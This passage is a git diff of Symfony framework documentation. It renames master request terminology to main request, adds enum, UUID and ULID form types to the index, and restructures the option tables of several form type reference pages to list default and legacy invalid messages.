-During the handling of an HTTP request, the Symfony framework (or any
+The Symfony framework is an HTTP Request-Response one.
+During the handling of an HTTP request, the framework (or any
 application using the :doc:`HttpKernel component </components/http_kernel>`)
 dispatches some :doc:`events </event_dispatcher>` which you can use to modify
-how the request is handled.
+how the request is handled and how the response is returned.
 
 Kernel Events
 -------------
@@ -14,7 +15,7 @@ Each event dispatched by the HttpKernel component is a subclass of
 following information:
 
 :method:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent::getRequestType`
-    Returns the *type* of the request (``HttpKernelInterface::MASTER_REQUEST``
+    Returns the *type* of the request (``HttpKernelInterface::MAIN_REQUEST``
     or ``HttpKernelInterface::SUB_REQUEST``).
 
 :method:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent::getKernel`
@@ -23,8 +24,8 @@ following information:
 :method:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent::getRequest`
     Returns the current ``Request`` being handled.
 
-:method:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent::isMasterRequest`
-    Checks if this is a master request.
+:method:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent::isMainRequest`
+    Checks if this is a main request.
 
 .. _kernel-core-request:
 
diff --git a/reference/forms/types.rst b/reference/forms/types.rst
index 49d769c8967..eaa0344f141 100644
--- a/reference/forms/types.rst
+++ b/reference/forms/types.rst
@@ -23,6 +23,7 @@ Form Types Reference
    types/color
 
    types/choice
+   types/enum
    types/entity
    types/country
    types/language
@@ -41,6 +42,9 @@ Form Types Reference
    types/file
    types/radio
 
+   types/uuid
+   types/ulid
+
    types/collection
    types/repeated
 
diff --git a/reference/forms/types/birthday.rst b/reference/forms/types/birthday.rst
index 6299dbf1e09..f130aa9fc6a 100644
--- a/reference/forms/types/birthday.rst
+++ b/reference/forms/types/birthday.rst
@@ -14,51 +14,28 @@ This type is essentially the same as the :doc:`DateType </reference/forms/types/
 type, but with a more appropriate default for the `years`_ option. The `years`_
 option defaults to 120 years ago to the current year.
 
-+----------------------+-------------------------------------------------------------------------------+
-| Underlying Data Type | can be ``DateTime``, ``string``, ``timestamp``, or ``array``                  |
-|                      | (see the :ref:`input option <form-reference-date-input>`)                     |
-+----------------------+-------------------------------------------------------------------------------+
-| Rendered as          | can be three select boxes or 1 or 3 text boxes, based on the `widget`_ option |
-+----------------------+-------------------------------------------------------------------------------+
-| Overridden options   | - `years`_                                                                    |
-+----------------------+-------------------------------------------------------------------------------+
-| Inherited options    | from the :doc:`DateType </reference/forms/types/date>`:                       |
-|                      |                                                                               |
-|                      | - `choice_translation_domain`_                                                |
-|                      | - `days`_                                                                     |
-|                      | - `placeholder`_                                                              |
-|                      | - `format`_                                                                   |
-|                      | - `input`_                                                                    |
-|                      | - `input_format`_                                                             |
-|                      | - `model_timezone`_                                                           |
-|                      | - `months`_                                                                   |
-|                      | - `view_timezone`_                                                            |
-|                      | - `widget`_                                                                   |
-|                      |                                                                               |
-|                      | from the :doc:`FormType </reference/forms/types/form>`:                       |
-|                      |                                                                               |
-|                      | - `attr`_                                                                     |
-|                      | - `data`_                                                                     |
-|                      | - `disabled`_                                                                 |
-|                      | - `help`_                                                                     |
-|                      | - `help_attr`_                                                                |
-|                      | - `help_html`_                                                                |
-|                      | - `inherit_data`_                                                             |
-|                      | - `invalid_message`_                                                          |
-|                      | - `invalid_message_parameters`_                                               |
-|                      | - `mapped`_                                                                   |
-|                      | - `row_attr`_                                                                 |
-+----------------------+-------------------------------------------------------------------------------+
-| Parent type          | :doc:`DateType </reference/forms/types/date>`                                 |
-+----------------------+-------------------------------------------------------------------------------+
-| Class                | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\BirthdayType`        |
-+----------------------+-------------------------------------------------------------------------------+
++---------------------------+-------------------------------------------------------------------------------+
+| Underlying Data Type      | can be ``DateTime``, ``string``, ``timestamp``, or ``array``                  |
+|                           | (see the :ref:`input option <form-reference-date-input>`)                     |
++---------------------------+-------------------------------------------------------------------------------+
+| Rendered as               | can be three select boxes or 1 or 3 text boxes, based on the `widget`_ option |
++---------------------------+-------------------------------------------------------------------------------+
+| Default invalid message   | Please enter a valid birthdate.                                               |
++---------------------------+-------------------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                           |
++---------------------------+-------------------------------------------------------------------------------+
+| Parent type               | :doc:`DateType </reference/forms/types/date>`                                 |
++---------------------------+-------------------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\BirthdayType`        |
++---------------------------+-------------------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
 Overridden Options
 ------------------
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 ``years``
 ~~~~~~~~~
 
@@ -95,7 +72,7 @@ values for the year, month and day fields::
     $builder->add('birthdate', BirthdayType::class, [
         'placeholder' => [
             'year' => 'Year', 'month' => 'Month', 'day' => 'Day',
-        ]
+        ],
     ]);
 
 .. include:: /reference/forms/types/options/date_format.rst.inc
@@ -128,8 +105,6 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/inherit_data.rst.inc
 
-.. include:: /reference/forms/types/options/invalid_message.rst.inc
-
 .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/button.rst b/reference/forms/types/button.rst
index 655d515215b..5c490a79dca 100644
--- a/reference/forms/types/button.rst
+++ b/reference/forms/types/button.rst
@@ -9,15 +9,6 @@ A simple, non-responsive button.
 +----------------------+----------------------------------------------------------------------+
 | Rendered as          | ``button`` tag                                                       |
 +----------------------+----------------------------------------------------------------------+
-| Inherited            | - `attr`_                                                            |
-| options              | - `attr_translation_parameters`_                                     |
-|                      | - `disabled`_                                                        |
-|                      | - `label`_                                                           |
-|                      | - `label_html`_                                                      |
-|                      | - `label_translation_parameters`_                                    |
-|                      | - `row_attr`_                                                        |
-|                      | - `translation_domain`_                                              |
-+----------------------+----------------------------------------------------------------------+
 | Parent type          | none                                                                 |
 +----------------------+----------------------------------------------------------------------+
 | Class                | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\ButtonType` |
diff --git a/reference/forms/types/checkbox.rst b/reference/forms/types/checkbox.rst
index aef03ef1e44..a27637bff4b 100644
--- a/reference/forms/types/checkbox.rst
+++ b/reference/forms/types/checkbox.rst
@@ -11,34 +11,17 @@ you can specify an array of values that, if submitted, will be evaluated
 to "false" as well (this differs from what HTTP defines, but can be handy
 if you want to handle submitted values like "0" or "false").
 
-+-------------+------------------------------------------------------------------------+
-| Rendered as | ``input`` ``checkbox`` field                                           |
-+-------------+------------------------------------------------------------------------+
-| Options     | - `false_values`_                                                      |
-|             | - `value`_                                                             |
-+-------------+------------------------------------------------------------------------+
-| Overridden  | - `compound`_                                                          |
-| options     | - `empty_data`_                                                        |
-+-------------+------------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                              |
-| options     | - `data`_                                                              |
-|             | - `disabled`_                                                          |
-|             | - `error_bubbling`_                                                    |
-|             | - `error_mapping`_                                                     |
-|             | - `help`_                                                              |
-|             | - `help_attr`_                                                         |
-|             | - `help_html`_                                                         |
-|             | - `label`_                                                             |
-|             | - `label_attr`_                                                        |
-|             | - `label_format`_                                                      |
-|             | - `mapped`_                                                            |
-|             | - `required`_                                                          |
-|             | - `row_attr`_                                                          |
-+-------------+------------------------------------------------------------------------+
-| Parent type | :doc:`FormType </reference/forms/types/form>`                          |
-+-------------+------------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CheckboxType` |
-+-------------+------------------------------------------------------------------------+
++---------------------------+------------------------------------------------------------------------+
+| Rendered as               | ``input`` ``checkbox`` field                                           |
++---------------------------+------------------------------------------------------------------------+
+| Default invalid message   | The checkbox has an invalid value.                                     |
++---------------------------+------------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                    |
++---------------------------+------------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                          |
++---------------------------+------------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CheckboxType` |
++---------------------------+------------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -74,6 +57,8 @@ Overridden Options
 
 .. include:: /reference/forms/types/options/checkbox_empty_data.rst.inc
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index 04efd2fe02c..2581f7b7af7 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -9,52 +9,17 @@ It can be rendered as a ``select`` tag, radio buttons, or checkboxes.
 
 To use this field, you must specify *either* ``choices`` or ``choice_loader`` option.
 
-+-------------+------------------------------------------------------------------------------+
-| Rendered as | can be various tags (see below)                                              |
-+-------------+------------------------------------------------------------------------------+
-| Options     | - `choices`_                                                                 |
-|             | - `choice_attr`_                                                             |
-|             | - `choice_filter`_                                                           |
-|             | - `choice_label`_                                                            |
-|             | - `choice_loader`_                                                           |
-|             | - `choice_name`_                                                             |
-|             | - `choice_translation_domain`_                                               |
-|             | - `choice_value`_                                                            |
-|             | - `expanded`_                                                                |
-|             | - `group_by`_                                                                |
-|             | - `multiple`_                                                                |
-|             | - `placeholder`_                                                             |
-|             | - `preferred_choices`_                                                       |
-+-------------+------------------------------------------------------------------------------+
-| Overridden  | - `compound`_                                                                |
-| options     | - `empty_data`_                                                              |
-|             | - `error_bubbling`_                                                          |
-|             | - `trim`_                                                                    |
-+-------------+------------------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                                    |
-| options     | - `by_reference`_                                                            |
-|             | - `data`_                                                                    |
-|             | - `disabled`_                                                                |
-|             | - `error_mapping`_                                                           |
-|             | - `help`_                                                                    |
-|             | - `help_attr`_                                                               |
-|             | - `help_html`_                                                               |
-|             | - `inherit_data`_                                                            |
-|             | - `label`_                                                                   |
-|             | - `label_attr`_                                                              |
-|             | - `label_format`_                                                            |
-|             | - `mapped`_                                                                  |
-|             | - `required`_                                                                |
-|             | - `row_attr`_                                                                |
-|             | - `translation_domain`_                                                      |
-|             | - `label_translation_parameters`_                                            |
-|             | - `attr_translation_parameters`_                                             |
-|             | - `help_translation_parameters`_                                             |
-+-------------+------------------------------------------------------------------------------+
-| Parent type | :doc:`FormType </reference/forms/types/form>`                                |
-+-------------+------------------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\ChoiceType`         |
-+-------------+------------------------------------------------------------------------------+
++---------------------------+----------------------------------------------------------------------+
+| Rendered as               | can be various tags (see below)                                      |
++---------------------------+----------------------------------------------------------------------+
+| Default invalid message   | The selected choice is invalid.                                      |
++---------------------------+----------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                  |
++---------------------------+----------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                        |
++---------------------------+----------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\ChoiceType` |
++---------------------------+----------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -227,6 +192,8 @@ correct types will be assigned to the model.
 
 .. include:: /reference/forms/types/options/choice_translation_domain_enabled.rst.inc
 
+.. include:: /reference/forms/types/options/choice_translation_parameters.rst.inc
+
 .. include:: /reference/forms/types/options/choice_value.rst.inc
 
 .. include:: /reference/forms/types/options/expanded.rst.inc
@@ -250,8 +217,7 @@ compound
 This option specifies if a form is compound. The value is by default
 overridden by the value of the ``expanded`` option.
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The actual default value of this option depends on other field options:
 
@@ -259,8 +225,7 @@ The actual default value of this option depends on other field options:
   (empty string);
 * Otherwise ``[]`` (empty array).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 error_bubbling
 ~~~~~~~~~~~~~~
@@ -272,6 +237,8 @@ the parent field (the form in most cases).
 
 .. include:: /reference/forms/types/options/choice_type_trim.rst.inc
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
diff --git a/reference/forms/types/collection.rst b/reference/forms/types/collection.rst
index f3f0c8f4562..c5572f93c6b 100644
--- a/reference/forms/types/collection.rst
+++ b/reference/forms/types/collection.rst
@@ -11,37 +11,17 @@ forms, which is useful when creating forms that expose one-to-many
 relationships (e.g. a product from where you can manage many related product
 photos).
 
-+-------------+-----------------------------------------------------------------------------+
-| Rendered as | depends on the `entry_type`_ option                                         |
-+-------------+-----------------------------------------------------------------------------+
-| Options     | - `allow_add`_                                                              |
-|             | - `allow_delete`_                                                           |
-|             | - `delete_empty`_                                                           |
-|             | - `entry_options`_                                                          |
-|             | - `entry_type`_                                                             |
-|             | - `prototype`_                                                              |
-|             | - `prototype_data`_                                                         |
-|             | - `prototype_name`_                                                         |
-+-------------+-----------------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                                   |
-| options     | - `by_reference`_                                                           |
-|             | - `empty_data`_                                                             |
-|             | - `error_bubbling`_                                                         |
-|             | - `error_mapping`_                                                          |
-|             | - `help`_                                                                   |
-|             | - `help_attr`_                                                              |
-|             | - `help_html`_                                                              |
-|             | - `label`_                                                                  |
-|             | - `label_attr`_                                                             |
-|             | - `label_format`_                                                           |
-|             | - `mapped`_                                                                 |
-|             | - `required`_                                                               |
-|             | - `row_attr`_                                                               |
-+-------------+-----------------------------------------------------------------------------+
-| Parent type | :doc:`FormType </reference/forms/types/form>`                               |
-+-------------+-----------------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CollectionType`    |
-+-------------+-----------------------------------------------------------------------------+
++---------------------------+--------------------------------------------------------------------------+
+| Rendered as               | depends on the `entry_type`_ option                                      |
++---------------------------+--------------------------------------------------------------------------+
+| Default invalid message   | The collection is invalid.                                               |
++---------------------------+--------------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                      |
++---------------------------+--------------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                            |
++---------------------------+--------------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CollectionType` |
++---------------------------+--------------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -396,6 +376,11 @@ If you have several collections in your form, or worse, nested collections
 you may want to change the placeholder so that unrelated placeholders are
 not replaced with the same value.
 
+Overridden Options
+------------------
+
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -408,13 +393,11 @@ Not all options are listed here - only the most applicable to this type:
 
 .. include:: /reference/forms/types/options/by_reference.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``[]`` (empty array).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 error_bubbling
 ~~~~~~~~~~~~~~
diff --git a/reference/forms/types/color.rst b/reference/forms/types/color.rst
index a290b31e673..213c88323cc 100644
--- a/reference/forms/types/color.rst
+++ b/reference/forms/types/color.rst
@@ -14,32 +14,17 @@ The value of the underlying ``<input type="color">`` field is always a
 That's why it's not possible to select semi-transparent colors with this
 element.
 
-+-------------+---------------------------------------------------------------------+
-| Rendered as | ``input`` ``color`` field (a text box)                              |
-+-------------+---------------------------------------------------------------------+
-| Options     | - `html5`_                                                          |
-+-------------+---------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                           |
-| options     | - `data`_                                                           |
-|             | - `disabled`_                                                       |
-|             | - `empty_data`_                                                     |
-|             | - `error_bubbling`_                                                 |
-|             | - `error_mapping`_                                                  |
-|             | - `help`_                                                           |
-|             | - `help_attr`_                                                      |
-|             | - `help_html`_                                                      |
-|             | - `label`_                                                          |
-|             | - `label_attr`_                                                     |
-|             | - `label_format`_                                                   |
-|             | - `mapped`_                                                         |
-|             | - `required`_                                                       |
-|             | - `row_attr`_                                                       |
-|             | - `trim`_                                                           |
-+-------------+---------------------------------------------------------------------+
-| Parent type | :doc:`TextType </reference/forms/types/text>`                       |
-+-------------+---------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\ColorType` |
-+-------------+---------------------------------------------------------------------+
++---------------------------+---------------------------------------------------------------------+
+| Rendered as               | ``input`` ``color`` field (a text box)                              |
++---------------------------+---------------------------------------------------------------------+
+| Default invalid message   | Please select a valid color.                                        |
++---------------------------+---------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                 |
++---------------------------+---------------------------------------------------------------------+
+| Parent type               | :doc:`TextType </reference/forms/types/text>`                       |
++---------------------------+---------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\ColorType` |
++---------------------------+---------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -49,7 +34,7 @@ Field Options
 html5
 ~~~~~
 
-**type**: ``bool`` **default**: ``false``
+**type**: ``boolean`` **default**: ``false``
 
 .. versionadded:: 5.1
 
@@ -59,6 +44,11 @@ When this option is set to ``true``, the form type checks that its value matches
 the `HTML5 color format`_ (``/^#[0-9a-f]{6}$/i``). If it doesn't match it,
 you'll see the following error message: *"This value is not a valid HTML5 color"*.
 
+Overridden Options
+------------------
+
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -70,13 +60,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/country.rst b/reference/forms/types/country.rst
index f4082e498e8..4362cefd0d0 100644
--- a/reference/forms/types/country.rst
+++ b/reference/forms/types/country.rst
@@ -18,45 +18,17 @@ Unlike the ``ChoiceType``, you don't need to specify a ``choices`` option as the
 field type automatically uses all of the countries of the world. You *can* specify
 the option manually, but then you should just use the ``ChoiceType`` directly.
 
-+-------------+-----------------------------------------------------------------------+
-| Rendered as | can be various tags (see :ref:`forms-reference-choice-tags`)          |
-+-------------+-----------------------------------------------------------------------+
-| Options     | - `alpha3`_                                                           |
-|             | - `choice_translation_locale`_                                        |
-+-------------+-----------------------------------------------------------------------+
-| Overridden  | - `choices`_                                                          |
-| options     | - `choice_translation_domain`_                                        |
-+-------------+-----------------------------------------------------------------------+
-| Inherited   | from the :doc:`ChoiceType </reference/forms/types/choice>`            |
-| options     |                                                                       |
-|             | - `error_bubbling`_                                                   |
-|             | - `error_mapping`_                                                    |
-|             | - `expanded`_                                                         |
-|             | - `multiple`_                                                         |
-|             | - `placeholder`_                                                      |
-|             | - `preferred_choices`_                                                |
-|             | - `trim`_                                                             |
-|             |                                                                       |
-|             | from the :doc:`FormType </reference/forms/types/form>`                |
-|             |                                                                       |
-|             | - `attr`_                                                             |
-|             | - `data`_                                                             |
-|             | - `disabled`_                                                         |
-|             | - `empty_data`_                                                       |
-|             | - `help`_                                                             |
-|             | - `help_attr`_                                                        |
-|             | - `help_html`_                                                        |
-|             | - `label`_                                                            |
-|             | - `label_attr`_                                                       |
-|             | - `label_format`_                                                     |
-|             | - `mapped`_                                                           |
-|             | - `required`_                                                         |
-|             | - `row_attr`_                                                         |
-+-------------+-----------------------------------------------------------------------+
-| Parent type | :doc:`ChoiceType </reference/forms/types/choice>`                     |
-+-------------+-----------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CountryType` |
-+-------------+-----------------------------------------------------------------------+
++---------------------------+-----------------------------------------------------------------------+
+| Rendered as               | can be various tags (see :ref:`forms-reference-choice-tags`)          |
++---------------------------+-----------------------------------------------------------------------+
+| Default invalid message   | Please select a valid country.                                        |
++---------------------------+-----------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                   |
++---------------------------+-----------------------------------------------------------------------+
+| Parent type               | :doc:`ChoiceType </reference/forms/types/choice>`                     |
++---------------------------+-----------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CountryType` |
++---------------------------+-----------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -92,6 +64,8 @@ The locale is used to translate the countries names.
 
 .. include:: /reference/forms/types/options/choice_translation_domain_disabled.rst.inc
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -119,8 +93,7 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The actual default value of this option depends on other field options:
 
@@ -128,8 +101,7 @@ The actual default value of this option depends on other field options:
   (empty string);
 * Otherwise ``[]`` (empty array).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/help.rst.inc
 
diff --git a/reference/forms/types/currency.rst b/reference/forms/types/currency.rst
index 77da0481942..7ffa36a4f73 100644
--- a/reference/forms/types/currency.rst
+++ b/reference/forms/types/currency.rst
@@ -11,43 +11,17 @@ Unlike the ``ChoiceType``, you don't need to specify a ``choices`` option as the
 field type automatically uses a large list of currencies. You *can* specify the option
 manually, but then you should just use the ``ChoiceType`` directly.
 
-+-------------+------------------------------------------------------------------------+
-| Rendered as | can be various tags (see :ref:`forms-reference-choice-tags`)           |
-+-------------+------------------------------------------------------------------------+
-| Options     | - `choice_translation_locale`_                                         |
-+-------------+------------------------------------------------------------------------+
-| Overridden  | - `choices`_                                                           |
-| options     | - `choice_translation_domain`_                                         |
-+-------------+------------------------------------------------------------------------+
-| Inherited   | from the :doc:`ChoiceType </reference/forms/types/choice>`             |
-| options     |                                                                        |
-|             | - `error_bubbling`_                                                    |
-|             | - `expanded`_                                                          |
-|             | - `multiple`_                                                          |
-|             | - `placeholder`_                                                       |
-|             | - `preferred_choices`_                                                 |
-|             | - `trim`_                                                              |
-|             |                                                                        |
-|             | from the :doc:`FormType </reference/forms/types/form>` type            |
-|             |                                                                        |
-|             | - `attr`_                                                              |
-|             | - `data`_                                                              |
-|             | - `disabled`_                                                          |
-|             | - `empty_data`_                                                        |
-|             | - `help`_                                                              |
-|             | - `help_attr`_                                                         |
-|             | - `help_html`_                                                         |
-|             | - `label`_                                                             |
-|             | - `label_attr`_                                                        |
-|             | - `label_format`_                                                      |
-|             | - `mapped`_                                                            |
-|             | - `required`_                                                          |
-|             | - `row_attr`_                                                          |
-+-------------+------------------------------------------------------------------------+
-| Parent type | :doc:`ChoiceType </reference/forms/types/choice>`                      |
-+-------------+------------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CurrencyType` |
-+-------------+------------------------------------------------------------------------+
++---------------------------+------------------------------------------------------------------------+
+| Rendered as               | can be various tags (see :ref:`forms-reference-choice-tags`)           |
++---------------------------+------------------------------------------------------------------------+
+| Default invalid message   | Please select a valid currency.                                        |
++---------------------------+------------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                    |
++---------------------------+------------------------------------------------------------------------+
+| Parent type               | :doc:`ChoiceType </reference/forms/types/choice>`                      |
++---------------------------+------------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CurrencyType` |
++---------------------------+------------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -73,6 +47,8 @@ The choices option defaults to all currencies.
 
 .. include:: /reference/forms/types/options/choice_translation_domain_disabled.rst.inc
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -98,8 +74,7 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The actual default value of this option depends on other field options:
 
@@ -107,8 +82,7 @@ The actual default value of this option depends on other field options:
   (empty string);
 * Otherwise ``[]`` (empty array).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/help.rst.inc
 
diff --git a/reference/forms/types/date.rst b/reference/forms/types/date.rst
index 582b5bef6ff..22a64567a08 100644
--- a/reference/forms/types/date.rst
+++ b/reference/forms/types/date.rst
@@ -10,46 +10,19 @@ different HTML elements.
 This field can be rendered in a variety of different ways via the `widget`_ option
 and can understand a number of different input formats via the `input`_ option.
 
-+----------------------+-----------------------------------------------------------------------------+
-| Underlying Data Type | can be ``DateTime``, string, timestamp, or array (see the ``input`` option) |
-+----------------------+-----------------------------------------------------------------------------+
-| Rendered as          | single text box or three select fields                                      |
-+----------------------+-----------------------------------------------------------------------------+
-| Options              | - `days`_                                                                   |
-|                      | - `placeholder`_                                                            |
-|                      | - `format`_                                                                 |
-|                      | - `html5`_                                                                  |
-|                      | - `input`_                                                                  |
-|                      | - `input_format`_                                                           |
-|                      | - `model_timezone`_                                                         |
-|                      | - `months`_                                                                 |
-|                      | - `view_timezone`_                                                          |
-|                      | - `widget`_                                                                 |
-|                      | - `years`_                                                                  |
-+----------------------+-----------------------------------------------------------------------------+
-| Overridden options   | - `by_reference`_                                                           |
-|                      | - `choice_translation_domain`_                                              |
-|                      | - `compound`_                                                               |
-|                      | - `data_class`_                                                             |
-|                      | - `error_bubbling`_                                                         |
-+----------------------+-----------------------------------------------------------------------------+
-| Inherited            | - `attr`_                                                                   |
-| options              | - `data`_                                                                   |
-|                      | - `disabled`_                                                               |
-|                      | - `error_mapping`_                                                          |
-|                      | - `help`_                                                                   |
-|                      | - `help_attr`_                                                              |
-|                      | - `help_html`_                                                              |
-|                      | - `inherit_data`_                                                           |
-|                      | - `invalid_message`_                                                        |
-|                      | - `invalid_message_parameters`_                                             |
-|                      | - `mapped`_                                                                 |
-|                      | - `row_attr`_                                                               |
-+----------------------+-----------------------------------------------------------------------------+
-| Parent type          | :doc:`FormType </reference/forms/types/form>`                               |
-+----------------------+-----------------------------------------------------------------------------+
-| Class                | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\DateType`          |
-+----------------------+-----------------------------------------------------------------------------+
++---------------------------+-----------------------------------------------------------------------------+
+| Underlying Data Type      | can be ``DateTime``, string, timestamp, or array (see the ``input`` option) |
++---------------------------+-----------------------------------------------------------------------------+
+| Rendered as               | single text box or three select fields                                      |
++---------------------------+-----------------------------------------------------------------------------+
+| Default invalid message   | Please enter a valid date.                                                  |
++---------------------------+-----------------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                         |
++---------------------------+-----------------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                               |
++---------------------------+-----------------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\DateType`          |
++---------------------------+-----------------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -164,7 +137,7 @@ values for the year, month and day fields::
     $builder->add('dueDate', DateType::class, [
         'placeholder' => [
             'year' => 'Year', 'month' => 'Month', 'day' => 'Day',
-        ]
+        ],
     ]);
 
 .. _reference-forms-type-date-format:
@@ -210,6 +183,8 @@ The ``DateTime`` classes are treated as immutable objects.
 
 **default**: ``false``
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -231,8 +206,6 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/inherit_data.rst.inc
 
-.. include:: /reference/forms/types/options/invalid_message.rst.inc
-
 .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/dateinterval.rst b/reference/forms/types/dateinterval.rst
index 84986f93c87..d625c058836 100644
--- a/reference/forms/types/dateinterval.rst
+++ b/reference/forms/types/dateinterval.rst
@@ -12,47 +12,19 @@ The field can be rendered in a variety of different ways (see `widget`_) and can
 give you a ``DateInterval`` object, an `ISO 8601`_ duration string (e.g. ``P1DT12H``)
 or an array (see `input`_).
 
-+----------------------+----------------------------------------------------------------------------------+
-| Underlying Data Type | can be ``DateInterval``, string or array (see the ``input`` option)              |
